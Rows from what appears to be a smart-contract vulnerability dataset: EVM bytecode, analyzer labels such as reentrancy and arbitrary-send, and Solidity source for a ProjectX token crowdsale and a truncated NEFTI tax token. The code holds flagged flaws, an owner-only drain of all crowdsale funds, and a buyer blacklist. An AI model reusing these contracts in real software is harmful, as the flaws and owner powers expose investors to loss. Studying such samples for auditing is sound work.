068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612299919061300d565b60405180910390a3505050505050505050565b600080600060075490506000683635c9adc5dea0000090506122e2683635c9adc5dea00000600754611c9e90919063ffffffff16565b82101561230157600754683635c9adc5dea0000093509350505061230a565b81819350935050505b9091565b600080600080600080600080600061232b8a600954600a5461274f565b925092509250600061233b612021565b9050600080600061234e8e8787876127f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ae5565b905092915050565b60008082846123cf91906130f2565b905083811015612414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240b90612f2d565b60405180910390fd5b8091505092915050565b6000612428612021565b9050600061243f8284611c2390919063ffffffff16565b905061249381600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c090919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61254f8160046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c090919063ffffffff16565b60046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126288260036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c090919063ffffffff16565b60036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161270c919061300d565b60405180910390a36127298260075461237690919063ffffffff16565b600781905550612744816008546123c090919063ffffffff16565b600881905550505050565b60008060008061277b606461276d888a611c2390919063ffffffff16565b611c9e90919063ffffffff16565b905060006127a56064612797888b611c2390919063ffffffff16565b611c9e90919063ffffffff16565b905060006127e0826127d2856127c4878e61237690919063ffffffff16565b61237690919063ffffffff16565b61237690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128108589611c2390919063ffffffff16565b905060006128278689611c2390919063ffffffff16565b9050600061283e8789611c2390919063ffffffff16565b905060006128798261286b8561285d878961237690919063ffffffff16565b61237690919063ffffffff16565b61237690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506128a1816135c6565b92915050565b6000815190506128b6816135c6565b92915050565b6000813590506128cb816135dd565b92915050565b6000813590506128e0816135f4565b92915050565b6000815190506128f5816135f4565b92915050565b60008135905061290a8161360b565b92915050565b60008151905061291f8161360b565b92915050565b60006020828403121561293757600080fd5b600061294584828501612892565b91505092915050565b60006020828403121561296057600080fd5b600061296e848285016128a7565b91505092915050565b60006020828403121561298957600080fd5b6000612997848285016128bc565b91505092915050565b600080604083850312156129b357600080fd5b60006129c185828601612892565b92505060206129d285828601612892565b9150509250929050565b6000806000606084860312156129f157600080fd5b60006129ff86828701612892565b9350506020612a1086828701612892565b9250506040612a21868287016128fb565b9150509250925092565b60008060408385031215612a3e57600080fd5b6000612a4c85828601612892565b9250506020612a5d858286016128fb565b9150509250929050565b600060208284031215612a7957600080fd5b6000612a87848285016128d1565b91505092915050565b600060208284031215612aa257600080fd5b6000612ab0848285016128e6565b91505092915050565b600060208284031215612acb57600080fd5b6000612ad9848285016128fb565b91505092915050565b600080600060608486031215612af757600080fd5b6000612b0586828701612910565b9350506020612b1686828701612910565b9250506040612b2786828701612910565b9150509250925092565b6000612b3d8383612b58565b60208301905092915050565b612b5281613219565b82525050565b612b6181613207565b82525050565b612b7081613207565b82525050565b6000612b81826130ad565b612b8b81856130d0565b9350612b968361309d565b8060005b83811015612bc7578151612bae8882612b31565b9750612bb9836130c3565b925050600181019050612b9a565b5085935050505092915050565b612bdd8161322b565b82525050565b612bec8161326e565b82525050565b6000612bfd826130b8565b612c0781856130e1565b9350612c17818560208601613280565b612c2081613311565b840191505092915050565b6000612c386023836130e1565b9150612c4382613322565b604082019050919050565b6000612c5b602a836130e1565b9150612c6682613371565b604082019050919050565b6000612c7e6022836130e1565b9150612c89826133c0565b604082019050919050565b6000612ca1601b836130e1565b9150612cac8261340f565b602082019050919050565b6000612cc4601d836130e1565b9150612ccf82613438565b602082019050919050565b6000612ce76021836130e1565b9150612cf282613461565b604082019050919050565b6000612d0a6020836130e1565b9150612d15826134b0565b602082019050919050565b6000612d2d6029836130e1565b9150612d38826134d9565b604082019050919050565b6000612d506025836130e1565b9150612d5b82613528565b604082019050919050565b6000612d736024836130e1565b9150612d7e82613577565b604082019050919050565b612d9281613257565b82525050565b612da181613261565b82525050565b6000602082019050612dbc6000830184612b67565b92915050565b6000602082019050612dd76000830184612b49565b92915050565b6000604082019050612df26000830185612b67565b612dff6020830184612b67565b9392505050565b6000604082019050612e1b6000830185612b67565b612e286020830184612d89565b9392505050565b600060c082019050612e446000830189612b67565b612e516020830188612d89565b612e5e6040830187612be3565b612e6b6060830186612be3565b612e786080830185612b67565b612e8560a0830184612d89565b979650505050505050565b6000602082019050612ea56000830184612bd4565b92915050565b60006020820190508181036000830152612ec58184612bf2565b905092915050565b60006020820190508181036000830152612ee681612c2b565b9050919050565b60006020820190508181036000830152612f0681612c4e565b9050919050565b60006020820190508181036000830152612f2681612c71565b9050919050565b60006020820190508181036000830152612f4681612c94565b9050919050565b60006020820190508181036000830152612f6681612cb7565b9050919050565b60006020820190508181036000830152612f8681612cda565b9050919050565b60006020820190508181036000830152612fa681612cfd565b9050919050565b60006020820190508181036000830152612fc681612d20565b9050919050565b60006020820190508181036000830152612fe681612d43565b9050919050565b6000602082019050818103600083015261300681612d66565b9050919050565b60006020820190506130226000830184612d89565b92915050565b600060a08201905061303d6000830188612d89565b61304a6020830187612be3565b818103604083015261305c8186612b76565b905061306b6060830185612b67565b6130786080830184612d89565b9695505050505050565b60006020820190506130976000830184612d98565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130fd82613257565b915061310883613257565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561313d5761313c6132b3565b5b828201905092915050565b600061315382613257565b915061315e83613257565b92508261316e5761316d6132e2565b5b828204905092915050565b600061318482613257565b915061318f83613257565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131c8576131c76132b3565b5b828202905092915050565b60006131de82613257565b91506131e983613257565b9250828210156131fc576131fb6132b3565b5b828203905092915050565b600061321282613237565b9050919050565b600061322482613237565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327982613257565b9050919050565b60005b8381101561329e578082015181840152602081019050613283565b838111156132ad576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6135cf81613207565b81146135da57600080fd5b50565b6135e681613219565b81146135f157600080fd5b50565b6135fd8161322b565b811461360857600080fd5b50565b61361481613257565b811461361f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b7fabb39c3b89324dbf99709a1b475d817d0e7193b418fac42bda728863d374864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,175 |
0x18da8521c333aed9de8f512e847734cb7be42e38
|
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/*
* Pausable
* Abstract contract that allows children to implement an
* emergency stop mechanism.
*/
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
if (stopped) {
throw;
}
_;
}
modifier onlyInEmergency {
if (!stopped) {
throw;
}
_;
}
// called by the owner on emergency, triggers stopped state
function emergencyStop() external onlyOwner {
stopped = true;
}
// called by the owner on end of emergency, returns to normal state
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/*
* PullPayment
* Base contract supporting async send for pull payments.
* Inherit from this contract and use asyncSend instead of send.
*/
contract PullPayment {
using SafeMath for uint;
mapping(address => uint) public payments;
event LogRefundETH(address to, uint value);
/**
* Store sent amount as credit to be pulled, called by payer
**/
function asyncSend(address dest, uint amount) internal {
payments[dest] = payments[dest].add(amount);
}
// withdraw accumulated balance, called by payee
function withdrawPayments() {
address payee = msg.sender;
uint payment = payments[payee];
if (payment == 0) {
throw;
}
if (this.balance < payment) {
throw;
}
payments[payee] = 0;
if (!payee.send(payment)) {
throw;
}
LogRefundETH(payee,payment);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/*
* Fix for the ERC20 short address attack
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* ProjectX token contract. Implements
*/
contract ProjectX is StandardToken, Ownable {
string public constant name = "ProjectX";
string public constant symbol = "ProX";
uint public constant decimals = 6;
// Constructor
function ProjectX() {
totalSupply = 1000000000000;//1M
balances[msg.sender] = totalSupply; // Send all tokens to owner
}
/**
* Burn away the specified amount of ProjectX tokens
*/
function burn(uint _value) onlyOwner returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Transfer(msg.sender, 0x0, _value);
return true;
}
}
/*
Crowdsale Smart Contract for the ProjectX.org project
This smart contract collects ETH, and in return emits ProjectX tokens to the backers
*/
contract Crowdsale is Pausable, PullPayment {
using SafeMath for uint;
struct Backer {
uint weiReceived; // Amount of Ether given
uint coinSent;
}
/*
* Constants
*/
/* Minimum number of ProjectX to sell */
uint public constant MIN_CAP = 15000000000; // 15,000 ProjectXs
/* Maximum number of ProjectX to sell */
uint public constant MAX_CAP = 600000000000; // 600,000 ProjectXs
/* Minimum amount to invest */
uint public constant MIN_INVEST_ETHER = 100 finney;
/* Crowdsale period */
uint private constant CROWDSALE_PERIOD = 5 days;
/* Number of ProjectXs per Ether */
uint public constant COIN_PER_ETHER = 12000000000; // 12,000 ProjectXs
/*
* Variables
*/
/* ProjectX contract reference */
ProjectX public coin;
/* Multisig contract that will receive the Ether */
address public multisigEther;
/* Number of Ether received */
uint public etherReceived;
/* Number of ProjectXs sent to Ether contributors */
uint public coinSentToEther;
/* Crowdsale start time */
uint public startTime;
/* Crowdsale end time */
uint public endTime;
/* Is crowdsale still on going */
bool public crowdsaleClosed;
/* Backers Ether indexed by their Ethereum address */
mapping(address => Backer) public backers;
/*
* Modifiers
*/
modifier minCapNotReached() {
if ((now < endTime) || coinSentToEther >= MIN_CAP ) throw;
_;
}
modifier respectTimeFrame() {
if ((now < startTime) || (now > endTime )) throw;
_;
}
/*
* Event
*/
event LogReceivedETH(address addr, uint value);
event LogCoinsEmited(address indexed from, uint amount);
/*
* Constructor
*/
function Crowdsale(address _ProjectX, address _to) {
coin = ProjectX(_ProjectX);
multisigEther = _to;
}
/*
* The fallback function corresponds to a donation in ETH
*/
function() stopInEmergency respectTimeFrame payable {
receiveETH(msg.sender);
}
/*
* To call to start the crowdsale
*/
function start() onlyOwner {
if (startTime != 0) throw; // Crowdsale was already started
startTime = now ;
endTime = now + CROWDSALE_PERIOD;
}
/*
* Receives a donation in Ether
*/
function receiveETH(address beneficiary) internal {
if (msg.value < MIN_INVEST_ETHER) throw; // Don't accept funding under a predefined threshold
uint coinToSend = bonus(msg.value.mul(COIN_PER_ETHER).div(1 ether)); // Compute the number of ProjectX to send
if (coinToSend.add(coinSentToEther) > MAX_CAP) throw;
Backer backer = backers[beneficiary];
coin.transfer(beneficiary, coinToSend); // Transfer ProjectXs right now
backer.coinSent = backer.coinSent.add(coinToSend);
backer.weiReceived = backer.weiReceived.add(msg.value); // Update the total wei collected during the crowdfunding for this backer
etherReceived = etherReceived.add(msg.value); // Update the total wei collected during the crowdfunding
coinSentToEther = coinSentToEther.add(coinToSend);
// Send events
LogCoinsEmited(msg.sender ,coinToSend);
LogReceivedETH(beneficiary, etherReceived);
}
/*
*Compute the ProjectX bonus according to the investment period
*/
function bonus(uint amount) internal constant returns (uint) {
if (now < startTime.add(1 days)) return amount.add(amount.div(4)); // bonus 25%
return amount;
}
/*
* Finalize the crowdsale, should be called after the refund period
*/
function finalize() onlyOwner public {
if (now < endTime) { // Cannot finalise before CROWDSALE_PERIOD or before selling all coins
if (coinSentToEther == MAX_CAP) {
} else {
throw;
}
}
if (coinSentToEther < MIN_CAP && now < endTime + 3 days) throw; // If MIN_CAP is not reached donors have 15days to get refund before we can finalise
if (!multisigEther.send(this.balance)) throw; // Move the remaining Ether to the multisig address
uint remains = coin.balanceOf(this);
if (remains > 0) { // Burn the rest of ProjectXs
if (!coin.burn(remains)) throw ;
}
crowdsaleClosed = true;
}
/*
* Failsafe drain
*/
function drain() onlyOwner {
if (!owner.send(this.balance)) throw;
}
/**
* Allow to change the team multisig address in the case of emergency.
*/
function setMultisig(address addr) onlyOwner public {
if (addr == address(0)) throw;
multisigEther = addr;
}
/**
* Manually back ProjectX owner address.
*/
function backProjectXOwner() onlyOwner public {
coin.transferOwnership(owner);
}
/**
* Transfer remains to owner in case if impossible to do min invest
*/
function getRemainCoins() onlyOwner public {
var remains = MAX_CAP - coinSentToEther;
uint minCoinsToSell = bonus(MIN_INVEST_ETHER.mul(COIN_PER_ETHER) / (1 ether));
if(remains > minCoinsToSell) throw;
Backer backer = backers[owner];
coin.transfer(owner, remains); // Transfer ProjectXs right now
backer.coinSent = backer.coinSent.add(remains);
coinSentToEther = coinSentToEther.add(remains);
// Send events
LogCoinsEmited(this ,remains);
LogReceivedETH(owner, etherReceived);
}
/*
* When MIN_CAP is not reach:
* 1) backer call the "approve" function of the ProjectX token contract with the amount of all ProjectXs they got in order to be refund
* 2) backer call the "refund" function of the Crowdsale contract with the same amount of ProjectXs
* 3) backer call the "withdrawPayments" function of the Crowdsale contract to get a refund in ETH
*/
function refund(uint _value) minCapNotReached public {
if (_value != backers[msg.sender].coinSent) throw; // compare value from backer balance
coin.transferFrom(msg.sender, address(this), _value); // get the token back to the crowdsale contract
if (!coin.burn(_value)) throw ; // token sent for refund are burnt
uint ETHToSend = backers[msg.sender].weiReceived;
backers[msg.sender].weiReceived=0;
if (ETHToSend > 0) {
asyncSend(msg.sender, ETHToSend); // pull payment to get refund in ETH
}
}
}
|
0x606060405236156100b8576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ba578063095ea7b31461015357806318160ddd1461019257806323b872dd146101b8578063313ce5671461021657806342966c681461023c57806370a08231146102745780638da5cb5b146102be57806395d89b4114610310578063a9059cbb146103a9578063dd62ed3e146103e8578063f2fde38b14610451575bfe5b34156100c257fe5b6100ca610487565b6040518080602001828103825283818151815260200191508051906020019080838360008314610119575b805182526020831115610119576020820191506020810190506020830392506100f5565b505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015b57fe5b610190600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104c1565b005b341561019a57fe5b6101a2610645565b6040518082815260200191505060405180910390f35b34156101c057fe5b610214600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061064b565b005b341561021e57fe5b61022661090e565b6040518082815260200191505060405180910390f35b341561024457fe5b61025a6004808035906020019091905050610913565b604051808215151515815260200191505060405180910390f35b341561027c57fe5b6102a8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a7d565b6040518082815260200191505060405180910390f35b34156102c657fe5b6102ce610ac7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561031857fe5b610320610aed565b604051808060200182810382528381815181526020019150805190602001908083836000831461036f575b80518252602083111561036f5760208201915060208101905060208303925061034b565b505050905090810190601f16801561039b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b157fe5b6103e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b27565b005b34156103f057fe5b61043b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cd4565b6040518082815260200191505060405180910390f35b341561045957fe5b610485600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d5c565b005b604060405190810160405280600881526020017f50726f6a6563745800000000000000000000000000000000000000000000000081525081565b6000811415801561054f57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561055a5760006000fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b60005481565b6000606060048101600036905010156106645760006000fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061073583600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e3690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107ca83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108208383610e5690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5b5050505050565b600681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109725760006000fd5b6109c482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1c82600054610e5690919063ffffffff16565b60008190555060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b5b919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b604060405190810160405280600481526020017f50726f580000000000000000000000000000000000000000000000000000000081525081565b60406004810160003690501015610b3e5760006000fd5b610b9082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e5690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e3690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db95760006000fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515610e315780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b600060008284019050610e4b84821015610e70565b8091505b5092915050565b6000610e6483831115610e70565b81830390505b92915050565b801515610e7d5760006000fd5b5b505600a165627a7a7230582086d14d2758059aec042d5aaaa1cc07ab1e0a868a23c19476b739e045becdf0cc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,176 |
0xff940807a9e892e9f5d068950a67df5ddb830e4b
|
/*
https://t.me/neftiportal
$NEFTI will be the community's first NFT marketplace built from Scratch, with rewards for $NEFTI Holders
Holders decide the Future
With Opensea's Contract exploited, We decided to make a completely decentralised Marketplace $NEFTI
The Roadmap to be released after Launch on Website v1.0
1.5% Max Transaction
3% Max Wallet
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract neftitoken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NEFTI";
string private constant _symbol = "NEFTI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xE51203e16D0471Ad95fb6d15dEf3F798dfAaf6F9);
address payable private _marketingAddress = payable(0xE51203e16D0471Ad95fb6d15dEf3F798dfAaf6F9);
